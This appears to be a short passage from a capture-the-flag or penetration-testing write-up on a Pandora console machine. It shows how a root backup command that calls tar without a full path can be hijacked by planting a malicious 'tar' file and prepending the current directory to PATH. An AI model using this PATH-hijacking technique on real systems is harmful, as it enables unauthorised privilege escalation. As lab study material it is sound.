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Path Variables
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01tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*This line can be leveraged due to the command not using the full path for the tar binary
Drop a malicious file with the same name in your pwd and change the PATH variable;
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01 export PATH=$(pwd):$PATH